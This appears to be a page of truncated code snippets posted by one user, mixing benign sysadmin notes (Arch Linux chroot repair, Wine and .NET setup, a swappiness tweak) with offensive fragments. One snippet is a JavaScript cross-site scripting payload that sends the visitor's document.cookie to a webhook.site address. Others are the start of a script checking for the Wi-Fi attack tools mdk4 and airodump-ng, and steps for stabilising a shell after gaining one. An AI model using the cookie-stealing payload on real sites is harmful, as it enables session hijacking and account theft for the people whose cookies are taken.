nghialuffy

Arch Linux Chroot Repair Guide

A quick guide to chroot into a broken Arch Linux installation from a live USB to perform repairs, such as reinstalling broken packages.

---

1. Preparation

• You must have a bootable Arch Linux USB drive.

nghialuffy

#!/bin/bash

# Check if mdk4 and airodump-ng are installed
if ! command -v mdk4 &>/dev/null; then
  echo "mdk4 could not be found. Please install it and try again."
  exit 1
fi

if ! command -v airodump-ng &>/dev/null; then
  echo "airodump-ng could not be found. Please install it and try again."

nghialuffy

```
sudo apt install mono-complete wine winetricks -y
winetricks dotnet48
```

- Go to https://dl.winehq.org/wine/wine-mono/8.1.0/
- Download `wine-mono-8.1.0-x86.msi`

```
wine64 uninstall

nghialuffy

var xhttp = new XMLHttpRequest();
xhttp.open('GET', 'https://webhook.site/22bf9020-43c4-48c0-8d34-483347236b04/?' + document.cookie, true);
xhttp.send();

nghialuffy

0. Got shell
1. Ctrl + Z

Using /bin/bash

2. stty raw -echo

3. fg

4. reset

nghialuffy

sudo sysctl vm.swappiness=50

## Change forever
> vi /etc/sysctl.conf
vm.swappiness=40
> sysctl -p